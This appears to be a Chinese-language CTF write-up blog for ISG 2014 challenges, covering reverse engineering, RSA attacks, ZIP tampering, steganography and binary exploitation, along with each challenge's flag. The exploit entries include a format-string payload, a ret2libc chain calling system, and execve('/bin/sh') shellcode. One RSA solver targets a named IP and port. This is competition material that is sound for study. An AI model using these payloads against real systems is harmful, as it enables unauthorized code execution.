almost 8 years ago

ARM 逆向,不得不說 Hex-rays 的 decompiler 真厲害 ...

  1. .text:86D4 根據 .rodata:8C10 這個表的內容建一個 tree,node 的結構是 {value, left, right}
  2. .text:8790 從樹根開始 dfs,並且填好 .bss:11258 這個表,dfs 是用位在 .bss:11058 的棧實現的
  3. 查表檢查 input 的每個字元是否正確,且長度為 34

計算和檢查的過程,重新寫成 python 如下,檢查的部份已經改為反查找出正確的字元

# .rodata:8C10

s = ("677B3371394F4C4E5A5F62565743794A"  
"6B20206C202073682020632020617820"
"20722020643620204120204D59202074"
"20204976202050202034752020692020"
"54532020512020654220206E2020587A"
"20206F20205237202048202055322020"
"702020463520204720204B6D20203820"
"20447720207D2020456A202066202000").decode('hex')

i = 0
tb = {}

# 建樹跟計算 table .bss:11258 的值 ([0x11258+z]=y) 

def dfs(x,y):  
  global i,tb
  if i<len(s):
    z = s[i]
    i += 1
    if z!=' ':
      tb[y] = z
      dfs(x+1,48*(x+1)+y)
      dfs(x+1,49*(x+1)+y)

dfs(0,0)
v = [3179,2649,729,48,487,3189,2177,2650,5789,4380,2160,
    1350,5789,1736,144,2160,4393,1014,5054,3755,49,5789,
    724,5067,6544,2160,3189,724,2160,4368,1743,720,1008,293]
print ''.join(tb[x] for x in v)

Flag: ISG{8in4rY_7re3_tRavEr5Al_i5_CoOL}

 
almost 8 years ago

簡單的逆向,輸入字串每四個字元當成 131 進位看
反解的 code:

def rev(x):
  s = ''
  for i in range(4):
    s = chr(x%131) + s
    x /= 131
  return s

g = [0x0D50ADE5,0x0E302789,0x0ED66F1F,0x0CD463FF,0x0E0D94DD,0x0FA4461F,0x0CD91DA2]
s = ''
for x in g:
  s += rev(x)
print s

Flag: ISG{c011isi0n_is_a_thre4t_t0_sec}

 
almost 8 years ago

32-bit ELF exploit。這個 library 服務中的 Register 功能,有一個 format string 漏洞。
但這個漏洞只能使用一次,除非寫掉用來檢查是否註冊過的變數。
且輸入長度限制為 15 byte,一次可以做的事情不多,另外還有 % 字元的個數限制 (≤ 3)。

我們的 exploit 裡,使用 format string \x09\xB0\x04\x08%35$x%10$hn:

  1. 洩漏 StackGuard (%35$x)
  2. 寫掉 .data:804B008,這個變數用來決定 Query 功能裡書名的長度上限,把這個值改大可以造成溢位

接下來使用 Query 功能造成溢位,首先用 puts() 洩漏 .got:0804AFC4,即 read@.got
這題還另外給了 libc.so.6,因此只要知道 read 的位址,就可以推算出其它函式的位址。
32-bit 下只要把參數在棧上疊好就行了,之後回到 Query (0x08048971) 再溢出一次就可以在控制住流程

send('A'*0x100 + StackGuard + PD(0) + PD(0) + PD(0) +
     D(0x08048520) + D(0x08048971) + D(0x0804AFC4) + '\n')

有了 read 的位址後,接下來就改成呼叫 gets + system
找個可寫位址 (0x0804B008) 用 gets 讀入要執行的命令,然後用 system 執行。

send('A'*0x100 + StackGuard + PD(0) + PD(0) + PD(0) +
     D(gets) + D(system) + D(0x0804B008) + D(0x0804B008) + '\n')

Exploit source code isg2014 - library.py

 
almost 8 years ago

載下來是個 .NET 的 exe 檔,用 dotPeek 解開後,發現 Flag 是 sha1("ISG"*1073741824000)

估算一下檔案大小大概 3TB,就直接做吧。

#include <openssl/sha.h>
#include <bits/stdc++.h>

char tmp[3010];
int main() {
  SHA_CTX c;
  SHA1_Init(&c);
  for (int i = 0; i < 3000; i++) tmp[i] = "ISG"[i%3];
  for (int i = 0; i < 1073741824; i++) SHA1_Update(&c, (void*)tmp, 3000);
  unsigned char out[100];
  SHA1_Final(out, &c);
  for (int i = 0; i < 20; i++) printf("%02x", (int)out[i]);
  puts("");
}

跑了一個半小時左右結束。
Flag: ISG{86-38-6a-c8-da-05-2d-2d-c6-94-21-8a-ff-a5-7b-92-0d-02-58-3b}

 
almost 8 years ago

一個 pcap 封包,其中有一些登入紀錄。
稍微看一下其中的 javascript 會發現跟人人網登入看起來很像,然後就找到了這篇

仔細看一下 code 會發現雖然他好像有做 padding,但是在這個 code 中:

var x = new Array();
while (n > 2) { // random non-zero pad

    x[0] = 0;
    while (x[0] == 0) rng.nextBytes(x);
    //ba[--n] = x[0];

    ba[--n] = 0; // WARNING: NO PADDING HERE

}

WTF,WARNING 什麼啦...

總之在封包中還可以看到他嘗試登入了 7 次,而且這個網站還是用 e=3,所以可以用 e=3 時只要三種不同公鑰加密同一個明文就可以洩漏明文的攻擊。

require 'number-theory'
require 'openssl'
include NumberTheory

ns = [
  0xc0ee9a0e9267d408a38c11ad009cc013ec8047397cadbe81aef68929032c94e2e665afcc28031995b9f593a652910f41,
  0x98bd9bc15848d4fc9e6d45f7ed17be2b951c39a1beb94c34262d3bd4c841bea3afacb7c814a3806d5be14224384283a7,
  0xc6222103be7725ae3ab150786c0100ac424192c187d7c5c9311a09c3f871a6ba142f8db05e01c814203641a69285c55d,
  0xb5821c26739589a6f291f3f61b4833df1a1b0105202a4d70ddb2d411d999d4b55169f78d5dc3c9b8eb052a2832b218e5,
  0xc900f03ca5421a4fc73fe496d1d9298c6bd8d83d708ec4e609039ae5f163023549e3b3f31215e6c078023b86def18d3f,
  0xd069d27923ded540eadf2926f600f6ff373d0f325d2ea1de66f9c7571ecb8778fa07e2e4b23af7e614339147247754d1,
  0xc0618fdaf330901229661defee6ef221c5090138dec81f481add385d9b9f7f9927194fd79057c60e64bcfeac47332075,
]
cs = [
  0x753f1c4d3bb0f170a227c7d925695cf1b33143fe1d2d6934e4c2b0faaebaef59bdfa02e656ce7e1957835b0011723654,
  0x42d6df231b6e09acd1f4e125b8d2458e3f294f34e3240001aba82f9ffd714187cdbcbc95dcf5bb34fcaeb48dad52bfc8,
  0xa6b92bde0560bdb36609186b3dbd034c2e60fdddf97bee03cfd9ffc9fe195208901abcb4a5e45f89d08fb79e20a61aa9,
  0x5163229bc6f60167c341ce5e8009dccb7a8bca6737023623c4f398bca5c0cc5dfe6f5d0e38bf06be3de162951f6fc472,
  0x5bab7fb7f32514c4fa859e213ae96cfc659b624a5e9446ef48503f16809b8447f206152f32f43f7219654cf41bca0e88,
  0x3282d69293ee95422445eb95af6d64f7c4a85ee5f14b5b9935121185142faf822497033bb29866e409d26a8aa821d92e,
  0x3f0c66ead6290124f0ab8274f0496b5296ec9e1ebf939ac643ca3adf2c9050948ca9e1f1da8130f5755f0ba887edbbab,
]

def crt(x1, n1, x2, n2)
  return (x1 * n2 * Utils.mod_inv(n2, n1) + x2 * n1 * Utils.mod_inv(n1, n2)) % (n1 * n2)
end

def crtall(cns)
  c, n = cns[0]
  (1...cns.length).each do |i|
    c = crt(c, n, cns[i][0], cns[i][1])
    n *= cns[i][1]
  end
  return c
end

def cbrt(x)
  l, r = 1, x
  while l < r
    m = (l + r) / 2
    if m ** 3 < x
      l = m + 1
    else
      r = m
    end
  end
  return l
end

cs.zip(ns).combination(3) do |cn|
  puts cbrt(crtall(cn)).to_bn.to_s(2).inspect
end

Flag: ISG{yaya_haha_wawa_gaga_guagua}

(順道一題,因為給的 N 其實只有 384 bits,在我們的機器上兩小時內可以分解完,所以其實直接分解也是一種解法。)

 
almost 8 years ago

50 分題。
隨便找個可以解 GIF 動畫的,就可以看到第二個 frame 有不一樣的 QR code,掃一下就得到 flag。
Flag: ISG{Solv3d_iN_SEConds_WiTH_RiGHT_T00Ls}

 
almost 8 years ago

題目是一個 apk。

直接上 apk-tool,馬上就報錯了:

Exception in thread "main" brut.androlib.AndrolibException: brut.directory.DirectoryException: java.util.zip.ZipException: invalid CEN header (encrypted entry)

Zip 檔有加密?!
稍微找了一下,可以發現目錄結構下有些檔案,是 apk 檔共通的檔案,所以只要從其他沒加密的 apk 把對應檔案拿出來,就可以有 known plaintext attack。
但是要做到這個 attack,需要用一樣的方法壓縮找到的 plaintext,所以就來看看他是怎麼壓縮的吧:

$ unzip -v AFERE.zip
Archive:  AFERE.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
     396  Defl:N      207  48% 2014-08-22 23:20 2f94166b  res/anim/abc_fade_in.xml
...
$ unzip -v abc_fade_in.zip
Archive:  abc_fade_in.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
     396  Defl:N      219  45% 2014-08-15 15:45 2f94166b  abc_fade_in.xml

奇怪,明明原始檔案大小一樣,壓縮方式一樣,連 CRC 都一樣,為什麼壓起來就是差了 12 byte...
仔細一想,ZIP 檔壓縮時如果有加密,會在檔案前面多 12 byte 的 header,所以這個檔案看起來會少 12 byte 其實是因為他根本沒加密?!

查了一下 ZIP 檔格式,指定檔案有沒有加密的是在 General purpose bit flag 的第一個 bit,手動把 APK 中相對應的 bit 改成 0 就解的開了...
(實際上我們需要的只有 classes.dex,所以只改這個檔案就夠了。)

後面就是簡單的 apk 反編譯了,jd-gui 解出來的有點錯誤,還是看 jad 解出來的比較好。

後半是個簡單的 crypto,就看懂 code 後把流程想辦法反過來就對了。

require 'openssl'

target = 'OKBvTrSKXPK3cObqoS21IW7Dg0eZ2RTYm3UrdPaVTdY*'.each_byte.to_a
a = 'S4wp902KOV7QRogXdIUCMW1/ktz8sa5c3xePGfENuDTvBFqAmrbnLlHZYyhJij6+'.each_byte.to_a
bytes = []

(0...11).each do |i|
  v0, v1, v2, v3 = target[4*i...4*i+4].map{|x| a.index x}

  bytes << ((v0 << 2) | (v1 >> 4))
  bytes << (((v1 & 0x0f) << 4) | (v2 >> 2))
  bytes << (((v2 & 0x03) << 6) | v3) if v3
end

orig = []
(0...11).each do |i|
  b0, b1, b2 = bytes[3*i...3*i+3]
  b2 ||= 0
  orig << ((b0 >> 2) & 0x3f)
  orig << (0x3f & ((b0 << 4) | ((b1 & 0xFF) >> 4)))
  orig << (0x3f & ((b1 << 2) | ((b2 & 0xFF) >> 6)))
  orig << (b2 & 0x3f)
end

cipher = OpenSSL::Cipher::Cipher.new('des-ecb')
cipher.decrypt
cipher.key = 'Mem3d4Da'
puts cipher.update(bytes.map(&:chr).join).inspect

Flag: ISG{f4kE3ncRyP71On!50ld}

 
almost 8 years ago

題目給的是一份 python source,是一個 RSA 加解密系統。
有固定的公鑰 N, e 和私鑰 p, q, d,但都是未知的,並且有一個固定的目標密文 C 需要解密。
系統提供任意數字加密和任意數字解密的功能,但是解密不能給目標密文 C

反正解密其實就是求 C^d (mod N),不能給 C 的話我們給 -C 就好了呀,反正答案頂多差個負號。
但是因為輸入的數字要在 [1, N-1] 之間,要先找出 N 是多少。

因為輸入的數字超出範圍時會報錯,可以直接二分搜尋 N 的大小。
一次連線的時間最多為一分鐘,但是因為 N 是固定的可以多次連線搜完。

來 code:

require_relative 'zocket' # custom library

$z = Zocket.new '202.120.7.76', 43434

def cmd(x)
  $z.gets "Command:\n", do_log: false
  $z.puts x
end

def is_valid(n)
  cmd(1)
  $z.gets "Input Plaintext:\n", do_log: false
  $z.puts n, do_log: false
  res = $z.gets.strip
  if res == 'Invalid Plaintext'
    return false
  else
    $z.gets(do_log: false)
    return true
  end
end

def binary_search_n
  l = 0
  r = 0
  unless File.exist? 'binary_search_n'
    n = 2 ** 1024
    while is_valid(n)
      n *= 2
    end
    l = 1
    r = n
  else
    open('binary_search_n', 'r') do |f|
      l = f.gets.to_i
      r = f.gets.to_i
    end
  end
  while l < r
    m = (l + r + 1) / 2
    if is_valid(m)
      l = m
    else
      r = m - 1
    end
    open('binary_search_n', 'w') do |f|
      f.puts l
      f.puts r
    end
  end
  return l + 1
end

n = binary_search_n
puts "n = #{n}"

cmd(3)
$z.gets "I have no bug\n"
secret = $z.gets.to_i

cmd(2)
$z.gets "Input Ciphertext:\n"
$z.puts (n - secret)
$z.gets "Your plaintext:\n"
p = $z.gets.to_i

require 'openssl'
puts p.to_bn.to_s(2).inspect
puts (n-p).to_bn.to_s(2).inspect

Flag: ISG{chosen_ciphertext_attack_breaks_textbook_RSA}

 
almost 8 years ago

一樣是 64-bit ELF 的微小 binary,text:40073F 處的 fgets() 會造成溢出。
附帶一提,這次沒有 DEP 所以如果能跳到 shellcode 上就可以了。

char *__fastcall sub_40071D(char *a1, int a2) { /* a2 = 28 */
  char s; // [sp+12h] [bp-Eh]@1
  fgets(&s, a2, stdin);
  return strcpy(a1, &s);
}

溢出的長度有 14 bytes: 蓋在 rbp 上的 8 bytes,蓋在 return address 上的有 6 bytes。
如果要讓流程跳轉到 .text 段上,6 bytes 已經很足夠了,輸入時要送滿 28 bytes 使得結尾沒有換行字元。
要跳轉的目標則是 .text:40070D call eax,因為 strcpy 的回傳值恰好是第一個參數,
也就是輸入的字串會被複製到過去的 a1,只要在輸入字串中放入 shellcode 便成。

但這裡的 shellcode 只能放 22 bytes,太短了不好做事。
所以先放個 18 bytes 的 shellcode,read(0, rax, 0xffff) 把更長的 shellcode 讀上來接在下個會執行的位址。

  400080:       48 31 ff                xor    rdi,rdi
  400083:       48 89 fa                mov    rdx,rdi
  400086:       66 ba ff ff             mov    dx,0xffff
  40008a:       48 89 c6                mov    rsi,rax
  40008d:       48 31 c0                xor    rax,rax
  400090:       0f 05                   syscall

之後的 shellcode 要做的就是 execve("/bin/sh", {"/bin/sh", 0}, {0}) 開個 shell。
字串 "/bin/sh" 和 argv, envp 用 read 讀到可寫的 .got.plt:0x601018 段去,省得定位。

  400080:       b8 00 00 00 00          mov    eax,0x0
  400085:       bf 01 00 00 00          mov    edi,0x1
  40008a:       be 18 10 60 00          mov    esi,0x601018
  40008f:       ba 64 00 00 00          mov    edx,0x64
  400094:       0f 05                   syscall
  400096:       b8 3b 00 00 00          mov    eax,0x3b
  40009b:       bf 28 10 60 00          mov    edi,0x601028
  4000a0:       be 18 10 60 00          mov    esi,0x601018
  4000a5:       ba 20 10 60 00          mov    edx,0x601020
  4000aa:       0f 05                   syscall

ISG{the_shortest_shellcode_wins},其實也不用那麼 short

Exploit source code: isg2014 - checkin.py

 
almost 8 years ago

題目是一張 png,先拿工具來掃一下:

$ foremost final.png
Processing: final.png
|*|
$ cat output/audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Mon Sep 29 16:14:32 2014
Invocation: foremost final.png
Output directory: /home/peter50216/ISG/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: final.png
Start: Mon Sep 29 16:14:32 2014
Length: 3 MB (3845157 bytes)

Num      Name (bs=512)         Size      File Offset     Comment

0:      00000000.png           1 MB               0       (1440 x 900)
1:      00003754.png           1 MB         1922524       (1440 x 900)
Finish: Mon Sep 29 16:14:32 2014

2 FILES EXTRACTED

png:= 2
------------------------------------------------------------------

好呀其實有兩張圖接在一起。
把兩張圖拿來 diff 一下會發現,只有 184 個 pixel 的 R channel 值不一樣。
仔細一看會發現,第二張圖那幾個 pixel 的值只有 0 或 1,所以就寫個 code 吧~

require 'chunky_png'
require 'openssl'

i1 = ChunkyPNG::Image.from_file('./output/png/00000000.png')
i2 = ChunkyPNG::Image.from_file('./output/png/00003754.png')

val = []

(0...i1.height).each do |j|
  (0...i1.width).each do |i|
    r1 = ChunkyPNG::Color.r(i1[i, j])
    r2 = ChunkyPNG::Color.r(i2[i, j])
    val << r2 if r1 != r2
  end
end

puts val.map{|x| x.to_s(2)}.join.to_i(2).to_bn.to_s(2)

Flag: ISG{E4sY_StEg4n0gR4pHy}